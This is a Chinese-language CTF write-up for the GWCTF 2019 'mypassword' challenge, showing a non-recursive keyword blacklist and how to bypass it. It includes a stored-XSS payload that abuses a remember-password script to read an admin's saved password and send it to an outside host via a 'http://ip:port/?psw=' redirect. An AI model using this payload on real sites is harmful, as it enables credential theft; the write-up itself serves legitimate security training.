刷题[GWCTF 2019]mypassword

解题思路

打开网站,登陆框。注册一个用户后再登陆

看样子是注入了,在feedback.php中发现注释

<!-- 
			if(is_array($feedback)){
				echo "<script>alert('反馈不合法');</script>";
				return false;
			}
			$blacklist = ['_','\'','&','\\','#','%','input','script','iframe','host','onload','onerror','srcdoc','location','svg','form','img','src','getElement','document','cookie'];
			foreach ($blacklist as $val) {
		        while(true){
		            if(stripos($feedback,$val) !== false){
		                $feedback = str_ireplace($val,"",$feedback);
		            }else{
		                break;
		            }
		        }
		    }
		    -->

大概意思是过滤了这些字符串,但是因为str_ireplace函数采用的是非递归思想,直接采用双写的方法即可绕过

看了看过滤的都是xss用到的,然后这个框里也像xss,先试试xss。

xss

<scriphostt>alert(1)</scriphostt>

在list中果然弹窗,然后按照他的意思应该是需要获取源码,密码在源码中,通过源码获取密码,登陆admin,再进行下一步操作。

其实网上搜到了一篇通过xss打出源码的文章。但是我在本地并未复现成功。然后感觉考点其实不在这里

这里走不通,只能换一条路了。返回登陆页面查看了login.js

if (document.cookie && document.cookie != '') {
	var cookies = document.cookie.split('; ');
	var cookie = {};
	for (var i = 0; i < cookies.length; i++) {
		var arr = cookies[i].split('=');
		var key = arr[0];
		cookie[key] = arr[1];
	}
	if(typeof(cookie['user']) != "undefined" && typeof(cookie['psw']) != "undefined"){
		document.getElementsByName("username")[0].value = cookie['user'];
		document.getElementsByName("password")[0].value = cookie['psw'];
	}
}

发现login.js中的记住密码功能会将读取cookie中的password。于是构造一个登录框并且引入login.js提交反馈等待bot点开获得flag

exp

<incookieput type="text" name="username">
<incookieput type="password" name="password">
<scrcookieipt scookierc="./js/login.js"></scrcookieipt>
<scrcookieipt>
	var psw = docucookiement.getcookieElementsByName("password")[0].value;
	docucookiement.locacookietion="http://ip:port/?psw="+psw;
</scrcookieipt>

注意这里要将过滤的字符串中间加入cookie,使其正确拼接

这里其实我是想用vps打,但是用buu的linux靶机不知道为什么没有用,然后用buu的requestbin模块,成功打出flag

这里有一个注意事项,因为引入的记住密码功能,所以你在注册时不能记住密码,否则会覆盖admin的cookie,我在这里打半天打不出来,后面想到了这个方面

总结思路

根据黑名单提示用xss打,代码审计发现cookie保存,直接可以提取出默认的cookie信息,根据此直接打出admin的密码

知识点

  • xss
  • 代码审计
  • cookie
posted @ 2020-08-19 12:35  kar3a  阅读(532)  评论(0编辑  收藏  举报